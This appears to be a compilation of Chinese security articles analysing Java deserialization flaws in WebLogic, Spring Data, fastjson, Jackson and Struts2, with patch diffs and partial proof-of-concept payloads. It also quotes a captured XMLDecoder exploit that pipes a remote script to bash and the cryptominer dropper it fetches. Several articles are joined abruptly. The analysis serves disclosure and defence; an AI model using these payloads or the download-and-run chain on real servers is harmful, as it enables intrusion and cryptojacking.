1，概述

当地时间4月17日，北京时间4月18日凌晨，Oracle官方发布了4月份的关键补丁更新CPU（Critical Patch Update）,其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628)，这个漏洞是我在去年11月份报给Oracle的，通过该漏洞，攻击者可以在未授权的情况下远程执行任意代码。

参考链接：

http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html

漏洞影响范围
Weblogic 10.3.6.0

Weblogic 12.1.3.0

Weblogic 12.2.1.2

Weblogic 12.2.1.3

2，复现

第一步发送测试PoC，PoC中远程连接的服务器地址就是第二步中所使用的服务器，攻击的ip是192.168.3.103的7001端口上的T3服务，该服务会解包Object结构，通过一步步的readObject去第二步服务器上的1099端口请求恶意封装的代码，然后在本地弹出计算器。

第二步在远程服务器上启用ysoserial.exploit.JRMPListener，JRMPListener会将含有恶意代码的payload发送回请求方。

查看weblogic的日志，可以看到如下错误，此时已经弹出计算器：

3，分析

Weblogic已经将互联网暴露的PoC都已经加入了黑名单，如果要绕过他的黑名单的限制就只能自己动手构造。来看看InboundMsgAbbrev中resolveProxyClass的实现，resolveProxyClass是处理rmi接口类型的，只判断了java.rmi.registry.Registry，其实随便找一个rmi接口即可绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;
   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }
   return super.resolveProxyClass(interfaces);
}

其实核心部分就是JRMP（Java Remote Method protocol），在这个PoC中会序列化一个RemoteObjectInvocationHandler，它会利用UnicastRef建立到远端的tcp连接获取RMI registry，加载回来再利用readObject解析，从而造成反序列化远程代码执行。
大致的调用栈如下：
readObject:66, InboundMsgAbbrev (weblogic.rjvm), InboundMsgAbbrev.java
-》readExternalData:1810, ObjectInputStream (java.io), ObjectInputStream.java
—》readExternal:1433, StreamMessageImpl (weblogic.jms.common), StreamMessageImpl.java
—–》readObject:455, RemoteObject (java.rmi.server), RemoteObject.java

披露时间线：
2017/7/19：发现问题
2017/11/23：报告给Oracle官方
2017/11/29：Oracle官方接收
2017/11/30：Oracle官方分配bug号(S0947640)，正式进入主线版本修复
2017/11/30：索要公司域名邮箱
2018/4/14：分配CVE，CVE-2018-2628
2018/4/17：发布补丁

1，漏洞公告：

链接：https://pivotal.io/security/cve-2018-1273
Severity：Critical
Vendor：Spring by Pivotal

Description
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.

Affected Pivotal Products and Versions

Severity is critical unless otherwise noted.

• Spring Data Commons 1.13 to 1.13.10 (Ingalls SR10)
• Spring Data REST 2.6 to 2.6.10 (Ingalls SR10)
• Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
• Spring Data REST 3.0 to 3.0.5 (Kay SR5)
• Older unsupported versions are also affected

Mitigation
Users of affected versions should apply the following mitigation:

• 2.0.x users should upgrade to 2.0.6
• 1.13.x users should upgrade to 1.13.11
• Older versions should upgrade to a supported branch

Releases that have fixed this issue include:

• Spring Data REST 2.6.11 (Ingalls SR11)
• Spring Data REST 3.0.6 (Kay SR6)
• Spring Boot 1.5.11
• Spring Boot 2.0.1

There are no other mitigation steps necessary.

Note that the use of authentication and authorization for endpoints, both of which are provided by Spring Security, limits exposure to this vulnerability to authorized users.

Credit
This issue was identified and responsibly reported by Philippe Arteau, GoSecure Inc.

References

• https://jira.spring.io/browse/DATACMNS-1282
• https://github.com/spring-projects/spring-data-commons/commit/b1a20ae1e82a63f99b3afc6f2aaedb3bf4dc432a
• https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
• https://docs.spring.io/spring-data/jpa/docs/current/reference/html/#core.web.binding

2，补丁分析：

补丁的内容：DATACMNS-1282 - Switched to SimpleEvaluationContext in MapDataBinder.很明显这是一个spel表达式注入漏洞。补丁的内容如下：

补丁大致就是将StandardEvaluationContext替代为SimpleEvaluationContext，由于StandardEvaluationContext权限过大，可以执行任意代码，会被恶意用户利用。
SimpleEvaluationContext的权限则小的多，只支持一些map结构，通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持，详情可查看SimpleEvaluationContext的实现。

3，PoC构造：

PoC的构造实在可以说路途忐忑，首先官方的描述信息带有一点误导的作用，当然也有可能是我水平不够，没有找到利用点。Spring官方说一个恶意攻击者可以构造任意参数来攻击Spring Data REST支持的http资源或者Spring Data’s projection的请求绑定来达到远程攻击的目的。再加上官方给的链接，直接就盯上了projection这个项目。特别是里面提到的json自动绑定技术。仔细阅读官方资料，发送payload调试，加断点，没有一点反响，肯定是漏洞没触发呗。简单粗暴的方式行不通，只能一个节点一个节点的分析调试。

首先拉取项目https://github.com/spring-projects/spring-data-examples/ ，修改pom.xml中parent节点为

1
2
3
4
5

<parent>
   <groupId>org.springframework.boot</groupId>
   <artifactId>spring-boot-starter-parent</artifactId>
   <version>2.0.0.RC1</version>
</parent>

为什么要降到这个版本，是因为spring-data-commons在2.0.5版本就拒绝了SpEl表达式，添加了如下代码：

1
2
3

context.setTypeLocator(typeName -> {
   throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
})

初步研究了下，我也绕不过，就只能再降低个版本了。详细release说明见：https://github.com/spring-projects/spring-data-commons/blob/d8a1c2cfde78e87cd4bae3bfcc9782750a783b0b/src/main/resources/changelog.txt

导入到IDEA里，打开项目web[spring-data-web-example]中的UserController.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

@Controller
@RequiredArgsConstructor
@RequestMapping("/users")
class UserController {
   private final UserManagement userManagement;
   /**
    * Registers a new {@link User} for the data provided by the given {@link UserForm}. Note, how an interface is used to
    * bind request parameters.
    *
    * @param userForm the request data bound to the {@link UserForm} instance.
    * @param binding the result of the binding operation.
    * @param model the Spring MVC {@link Model}.
    * @return
    */
   @RequestMapping(method = RequestMethod.POST)
   public Object register(UserForm userForm, BindingResult binding, Model model) {
      userForm.validate(binding, userManagement);
      if (binding.hasErrors()) {
         return "users";
      }
      userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword()));
      RedirectView redirectView = new RedirectView("redirect:/users");
      redirectView.setPropagateQueryParams(true);
      return redirectView;
   }

注意到如下代码：
@RequestMapping(method = RequestMethod.POST) public Object register(UserForm userForm, BindingResult binding, Model model)
这其中就有UserForm，BindingResult, Model，为啥会是从这个接口进入呢？还是要从问题点出发，也就是MapDataBinder的实现。存在问题的代码是MapDataBinder.setPropertyValue,但是怎么被调用起来的还是挺复杂，慢慢可以看出是ProxyingHandlerMethodArgumentResolver使用了MapDataBinder的接口，实现大体如下：

1
2
3
4
5
6
7
8
9
10

public class ProxyingHandlerMethodArgumentResolver extends ModelAttributeMethodProcessor
      implements BeanFactoryAware, BeanClassLoaderAware {
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory,
      NativeWebRequest request) throws Exception {
   MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
   binder.bind(new MutablePropertyValues(request.getParameterMap()));
   return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}

这块又是怎么调用起来的，只能找官方文档了，找到了这么一处，http://ju.outofmemory.cn/entry/125029
从 这里可以看出一些端倪，

1
2
3
4
5
6
7
8
9
10
11
12

interface Form {
  @NotBlank String getName();
  @NotBlank String getText();
}
@Controller
@RequestMapping(value = "/guestbook")
class GuestbookController {
  @RequestMapping(method = RequestMethod.GET)
  String guestbook(Form form, Model model) { … }
  @RequestMapping(method = RequestMethod.POST)
  String guestbook(@Valid Form form, Errors errors, Model model) { … }
}

在处理类似代码的时候会用到ProxyingHandlerMethodArgumentResolver，总算上了半点道，这里Form，有Model，对Spring 真是不熟悉，特别是各种各样的注解，看着也头疼，而且不好调试，只能偷懒了，找官方项目，于是找到了web[spring-data-web-example]，其实这个早已经在看了，只是前面看了点又放弃了，还好，PoC一发立马弹出计算器。当然这个PoC已经单步调试过，单步调试的坑也是非常多，比如说找可写权限的属性等这里暂且先不说了。只是这次这次直接从web请求触发。具体的栈图如下：

最后给大家放个图，以证明漏洞有效，计算器图：

其实username，password，repeatedPassword字段都可以添加漏洞利用代码。还有一点就是[]是嵌套属性的写法，在[]中间可以写入表达式，先找到username，这个也是跟这个表单属性绑定的，具体的代码如下：

1
2
3
4

interface UserForm {
    String getUsername();
    String getPassword();
    String getRepeatedPassword();

2017年反序列化漏洞年度报告

Jackson,fastjson,XStream,XMLDecoder,WebLogic,反序列化漏洞，年度报告

背景

2017年OWASP发布了新的十大web漏洞威胁，其中A8:2017就是不安全的反序列化，A9:2017-使用含有已知漏洞的组件也和反序列化紧密相连，这是因为在Java开发中很多代码都依赖于第三方组件，而这些组件可能会存在反序列漏洞，典型的例子就是Jackson，fastjson，XStream，XMLDecoder等开源组件。绿盟科技NS-SRC 处理的漏洞应急中就有很大一部分是反序列化漏洞，下面我们来一一分析2017年我们应急的那些反序列化漏洞。
总得来说，2017年出现的反序列化漏洞和以往反序列漏洞在漏洞形成方式上不太一样，在以往都是由于Java自身的反序列特征导致的漏洞，2017年则多了fastjson，Jackson等，这两个库都能将json文本转换成具体的java bean，在这个转换过程中会导致远程代码执行。
本报告重点回顾2017年绿盟科技重点应急，影响面非常广的那些反序列化漏洞。从这个报告中能看出反序列化漏洞的发展，攻击方和防御方不停的对抗过程，bypass和反bypass在这个过程中体现得淋漓尽致。

概述

从3月份爆出Fastjson的反序列化特性导致的远程代码执行，四月份则是Jackson，Log4j2，Jenkins的反序列化造成的远程代码执行，接着6月份流出了Weblogic CVE-2017-3248的利用代码。稍微消停了一会，Struts2又被安全研究人员盯上，爆出Struts2-052，又是一个远程代码执行。在11月份，由于Jackson官方对漏洞不敏感，接着又被曝CVE-2017-15095，又一个绕过。进入12月份，Fastjson和Jackson相继发布了几个补丁修复那些黑名单的绕过；Weblogic XMLDecoder(CVE-2017-10352)的漏洞被广泛应用于于挖坑。由于很多漏洞都是远程代码执行，有的一个HTTP POST请求就能getshell，所以备受黑产亲睐。

反序列化漏洞

1 fastjson反序列化漏洞

2017年3月15日，fastjson官方发布安全公告表示fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。fastjson官方建议直接升级到1.2.28/1.2.29或者更新版本来保证系统安全。4月29日，本文作者（xxlegend）构造出了Fastjson的反序列漏洞的PoC，引起了安全圈的广泛讨论。详细的分析可参照1，下面做简单的回顾。

1.1 补丁

在ParserConfig.java中添加了checkAutoType，不论用户是否开启了autoTypeSupport功能，在类名被加载时都需要通过额外的一层处理（来判断是否在acceptlist里），只有满足了此限制的类名才会被加载。另外引入了黑名单机制，在开启了autoTypeSupport的情况下，如果加载的是黑名单中类也会抛出异常。补丁核心代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }
        if (typeName.length() >= maxTypeNameLength) {
            throw new JSONException("autoType is not support. " + typeName);
        }
        final String className = typeName.replace('$', '.');
        if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
        Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }
        if (clazz != null) {
            if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
            return clazz;
        }

1.2 初略分析

静态分析得知，要构造一个可用的poc，肯定得引入denyList的库。这里我们就引入com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。

1
2
3
4
5
6
7

final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
       String text1 = "{\"@type\":\"" + NASTY_CLASS +
               "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
               "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
       System.out.println(text1);
      
       Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

最核心的部分是_bytecodes，它是要执行的代码，@type是指定的解析类，fastjson会根据指定类去反序列化得到该类的实例，在默认情况下，fastjson只会反序列化公开的属性和域，而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性，_name也是私有域，所以在parseObject的时候需要设置Feature.SupportNonPublicField，这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法，这没关系，我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象，这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。整个PoC的执行过程的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

更多的原理分析可见2 。

1.3 后续官方修补

fastjson官方后续又添加了一些补丁，本文作者给fastjson官方提交了两次绕过，fastjson官方都发布了相应更新。具体如下：

1. fastjson-1.2.34版本发布，当autoType=true时增强安全防护
2. fastjson-1.2.42版本发布 Bug修复安全加固
3. fastjson-1.2.43版本发布 Bug修复安全加固
4. fastjson-1.2.44版本发布 Bug修复安全加固

在fastjson-1.2.42版本中通过异或操作混淆了其黑名单，可以阻挡一部分人分析其黑名单内容，其实这是自欺欺人的。具体的黑名单分析读者可以自行研究。

2 Jackson反序列化

Jackson是一个开源的Java序列化与反序列化工具，可以将java对象序列化为xml或json格式的字符串，或者反序列化回对应的对象，由于其使用简单，速度较快，且不依靠除JDK外的其他库，被众多用户所使用。但是其组件Jackson-databind可以指定特定的反序列化类，这样就存在代码执行的风险。

2.1 CVE-2017-7525

这个CVE是本文作者报告的。下面来看一个Jackson官方的补丁，这个补丁主要是将TemplatesImpl加入了黑名单，从后续的CVE就可以看出这是远远不够的，可以通过各种方式绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

+    protected void checkIllegalTypes(DeserializationContext ctxt, JavaType type,
+            BeanDescription beanDesc)
+        throws JsonMappingException
+    {
+        // There are certain nasty classes that could cause problems, mostly
+        // via default typing -- catch them here.
+        Class<?> raw = type.getRawClass();
+        String name = raw.getSimpleName();
+
+        if ("TemplatesImpl".equals(name)) { // [databind#1599]
+            if (raw.getName().startsWith("com.sun.org.apache.xalan")) {
+                throw JsonMappingException.from(ctxt,
+                        String.format("Illegal type (%s) to deserialize: prevented for security reasons",
+                                name));
+            }
+        }
+    }
 }

2.1.1 分析

Jackson在反序列的过程中，首先扫描输入的json文件，分析其要反序列的类，通过反射的方式获取该类的构造方法，包括无参构造方法和有参构造方法，获取其setter，getter方法用于操作具体的类的属性。反序列的过程就是先通过反射得到一个实例，通过其setter或者getter方法给该实例的属性赋值，当然如果引入的类的setter方法或者getter方法中存在执行一些一些危险的操作，如利用rmi远程加载类则会造成远程代码执行缺陷。PoC示例图
详细分析可参考3。

后续官方修补

CVE-2017-15095是CVE-2017-7525的延续，这个漏洞同样也是本文作者报告的。同样是黑名单的绕过。
CVE-2017-17485是CVE-2017-7525的延续，这个漏洞引入的类是org.springframework.context.support.ClassPathXmlApplicationContext,利用这个库的bean重新生成类，而这个bean所依赖的xml是由攻击者来定制的。从这里也可以看出黑名单就是个无底洞，深不可见，bypass也是不完。由于Jackson的特性，可以预测，Jackson在2018年还将出现更多的绕过。

3 Struts2

struts2号称漏洞之王，2017应急中就处理了S2-045，S2-046，S2-48，S2-052，S2-055，都是远程代码执行级别的漏洞。S2-045的PoC现在还被黑客用于各种漏洞扫描，挖矿。既然是漏洞之王，那自然少不了反序列化，S2-052（CVE-2017-9805）就是XStream使用不当造成的反序列化。S2-055则是由于Jackson-databind导致的反序列化。这两个漏洞的典型特点都是不恰当的使用第三方库导致的。

3.1 S2-052分析

根据官方的描述信息来看，是REST插件使用到XStreamHandler处理xml数据的时候，由于未对xml数据做任何过滤，在进行反序列将xml数据转换成Object时导致的RCE。

3.1.1 补丁

补丁的核心部分如下：

1
2
3
4
5
6
7
8
9
10
11

+    protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
 +        stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
 +        if (invocation.getAction() instanceof ModelDriven) {
 +            stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
 +        }
 +        stream.addPermission(NullPermission.NULL);
 +        stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
 +        stream.addPermission(ArrayTypePermission.ARRAYS);
 +        stream.addPermission(CollectionTypePermission.COLLECTIONS);
 +        stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
 +    }

主要就是将xml中的数据白名单化，把Collection和Map，一些基础类，时间类放在白名单中，这样就能阻止XStream反序列化的过程中带入一些有害类。

3.1.2 分析

首先分析入口文件，在Struts2的配置文件中有如下xml描述信息：

1
2

<bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="xml" class="org.apache.struts2.rest.handler.XStreamHandler"/>
<constant name="struts.action.extension" value="xhtml,,xml,json"/>

也就是说ContentType为xml的所有请求都会交给XStreamHandler来处理，XStreamHanler.toObject调用了XStream.fromXml来处理那些请求中的xml信息，从而进入反序列化流程。
这里面最有意思的应该是官方给的临时缓解措施不起作用，官方给出的缓解措施<constant name="struts.action.extension" value="xhtml,,,json" />，从字面意思也能看出来，这个是针对action的后缀的，也就是说如果后缀不带xml也就可以绕过。而POST请求一般不带xml后缀直接忽视这个缓解措施。下图就是一个示例：
所以说Struts的官方也是根据PoC修漏洞，没完全测试过的东西就直接放出来。XStream只跟Content-Type有关，如果Content-Type中含有xml，则会交给XStream处理，更多的详情分析见4

3.2 S2-055分析

2017年12月1日，Apache Struts发布最新的安全公告，Apache Struts 2.5.x REST插件存在远程代码执行的中危漏洞，漏洞编号与CVE-2017-7525相关。漏洞的成因是由于使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。当然官方说的影响是未知，其实这里是远程代码执行。

S2-055补丁

没有提供补丁，只是提醒升级Jackson库版本。

S2-055分析

为了让Jackson支持多态，Jackson官方提供了几种方式，第一种全局Default Typing机制，第二种为相应的class添加@JsonTypeInfo注解。这里会启用第二种方式，在第二种方式中，大体代码如下：

1
2

@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
    public Object clientName;

在clientName上方添加注解，打开支持多态的特性，这样我们就能指定clientName的类型；另一个是将clientName的类型改为Object类型，这样就避免了类型不匹配或者不是其子类的错误。
另外Jackson不是默认句柄，需要设置ContentTypeHandler，这样当Content-Type为application/json格式的请求都交给了JcaksonLibHandler来处理。具体的PoC就是Jackson的PoC，这里不再展示，详情分析见5。这个漏洞和S2-052非常类似，都是引用的第三方库存在缺陷导致的漏洞，这样的案例数不胜数，在Java生态中简直就是一个灾难，第三方依赖实在太多。

4 Weblogic

在2017年，整个Oracle的产品线都深受反序列化影响，其中Weblogic影响面尤其广泛，很多漏洞的CVSS评分都是9.8，9.9甚至为10。

而且CVE-2017-3248的PoC已经在github上，并且被用于黑产，CVE-2017-10352 PoC也被泄露同样被用于黑产。

###4.1 CVE-2017-3248 分析

这个漏洞(CVE-2017-3248)就是利用rmi机制的缺陷，通过JRMP协议达到执行任意反序列化payload的目的。利用步骤可以分为两步，第一步建立JRMP监听端口，第二步执行反序列化操作，其反序列化内容指向外部的JRMP监听端口，这样在反序列的过程中就会从远程JRMP监听端口加载内容并执行序列化操作，详细的利用工具可以使用ysoserial。

###4.2 CVE-2017-10352 分析

这个漏洞是由于XMLDecoder这个缺陷库存在代码执行问题，同样也是由于被黑产利用而被大家广泛得知。其实在CVE-2017-3506中，Weblogic官方已经做了一次修补，只是当时的修补不够彻底，后来有研究员给Weblogic提供了绕过的PoC，Weblogic官方再次完整修补。同时这个PoC也被泄露，非常多的用户中招。

4.2.1 补丁

补丁的核心代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

这个补丁限定了object，new,method,void，array等字段，就限定了不能生成java 实例。

4.2.2 分析

根据补丁大概就得就能猜出相应的PoC，具体如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              。。。。
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

在动态调试过程中这个调用栈非常深，我们简单解释一下关键的几个部位，首先是WorkContextServerTube.java中processRequest方法，主要功能就是分割整个xml，抽取真正执行的xml交给readHeadOld方法，也就是请求中soapenv:Header包裹的部分，这一部分最终会交给XMLDecoder，XMLDecoder完成数据到对象的转换，即会执行恶意代码。并且wls-wsat是一个特权应用，无需用户名密码验证，所以危害非常大。
更多详情分析可参考文档 6 , 同时绿盟科技这篇报告的英文版还被Java-Deserialization-Cheat-Sheet收录。

4.2.3 黑产利用

在绿盟的IPS设备或者蜜罐设备就能看到很多这种利用Weblogic XMLDecoder（CVE-2017-10352）进行黑产利用的特征，下面是绿盟IPS抓到的示例，具体如下：

1
2
3

srcip为173.212.217.181
POST /wls-wsat/CoordinatorPortType HTTP/1.1////0d////0aHost: 58.210.×.×:8001////0d////0aAccept-Encoding: identity////0d////0aContent-Length: 983////0d////0aAccept-Language: zh-CN,zh;q=0.8////0d////0aAccept: */*////0d////0aUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0////0d////0aAccept-Charset: GBK,utf-8;q=0.7,*;q=0.3////0d////0aConnection: keep-alive////0d////0aReferer: http://www.baidu.com////0d////0aCache-Control: max-age=0////0d////0aContent-Type: text/xml////0d////0a////0d////0a<soapenv:Envelope xmlns:soapenv= http://schemas.xmlsoap.org/soap/envelope/ >////0a          <soapenv:Header>////0a            <work:WorkContext xmlns:work= http://bea.com/2004/06/soap/workarea/ >////0a                <java version= 1.8.0_131  class= java.beans.XMLDecoder >////0a                  <void class= java.lang.ProcessBuilder >////0a                    <array class= java.lang.String  length= 3 >////0a                      <void index= 0 >////0a                        <string>/bin/bash</string>////0a                      </void>////0a                      <void index= 1 >////0a                        <string>-c</string>////0a                      </void>////0a                      <void index= 2 >////0a                        <string>wget -O - 191.101.180.74/robots.txt|bash</string>////0a                      </void>////0a                    </array>////0a                  <void method= start /></void>////0a                </java>////0a              </work:WorkContext>////0a            </soapenv:Header>////0a          <soapenv:Body/>////0a        </soapenv:Envelope>

对于linux系统会去191.101.180.74下载一个bash脚本执行挖坑行为（门罗币）。这个robots.txt的核心内容如下：

1
2
3
4
5
6
7
8
9

wget -q http://45.123.190.178/Silence -O /tmp/Silence
curl -o /tmp/Silence http://45.123.190.178/Silence
else
exit 0;
fi
chmod +x /tmp/Silence
nohup /tmp/Silence -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 44pgg5mYVH6Gnc7gKfWGPR2CxfQLhwdrCPJGzLonwrSt5CKSeEy6izyjEnRn114HTU7AWFTp1SMZ6eqQfvrdeGWzUdrADDu -p x -R 1 &>>/dev/null &
sleep 10
rm -rf /tmp/Silence

对srcip：173.212.217.181溯源跟踪，从绿盟科技威胁情报中心NTI中的数据也能看出，该IP从2017年8月份开始，一直被用于特定漏洞扫描以便发现更多具有脆弱性的主机。

#总结
从OWASP 2017 top ten报告中可以看出反序列化是一个业内都开始关注重视的漏洞类型，一个原因就是该漏洞很多时候都是通过黑名单的方式的修复，这就导致了层出不穷的绕过，从Jackson，fastjson，weblogic一见端倪，都是修复，绕过，再修复，再绕过，没有尽头。另外一个原因就是该漏洞的危害非常大，通常都是RCE，一个PoC直接获取系统权限，不管是黑产，灰产，开发，运维还有白帽安全人员都非常重视该类型的漏洞。从系统的重要性来看，国内很多商业系统都是基于Java框架开发，这些中间件或者Web容器一旦出现漏洞，整个系统都变得不堪一击，可能造成不可挽回的影响。
对于反序列漏洞的防御，业内也是一个难题，首先得确保所有的依赖库和容器已经更新到最新版本，这样能防止已知漏洞的攻击。另外绿盟科技的IPS，WAF都已经具备对这些漏洞的防护能力，更多的防护策略请参考绿盟科技下一篇关于反序列化漏洞防御的文档。

挖矿确实太火，现在只要存在RCE漏洞就会有矿机的身影，这不weblogic又火了一把。这次矿机使用的PoC是wls wsat模块的RCE漏洞，这个漏洞的核心就是XMLDecoder的反序列化漏洞，关于XMLDecoder反序列化的漏洞在2013年就被广泛传播，这次的漏洞是由于官方修复不完善导致被绕过。

1 补丁分析

首先来看下weblogic的历史补丁，四月份补丁通告：
http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
这里面主要关注CVE-2017-3506，这是web service模块的漏洞。

10月份补丁通告：
https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html
主要关注CVE-2017-10271，是WLS Security组建的漏洞，英文描述如下：
A remote user can exploit a flaw in the Oracle WebLogic Server WLS Security component to gain elevated privileges [CVE-2017-10271].这是CVE-2017-10271的描述信息。
测试的poc如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              。。。。
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

对于poc中uri中/wls-wsat/CoordinatorPortType 可以换成CoordinatorPortType11等wsat 这个webservice服务中存在的其他uri
执行的效果图如下：

跟踪到底这还是XMLDecoder的漏洞，下面来分析补丁代码：首先来看3506的补丁的分析，在文件weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中，
添加了validate方法，方法的实现如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
      } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

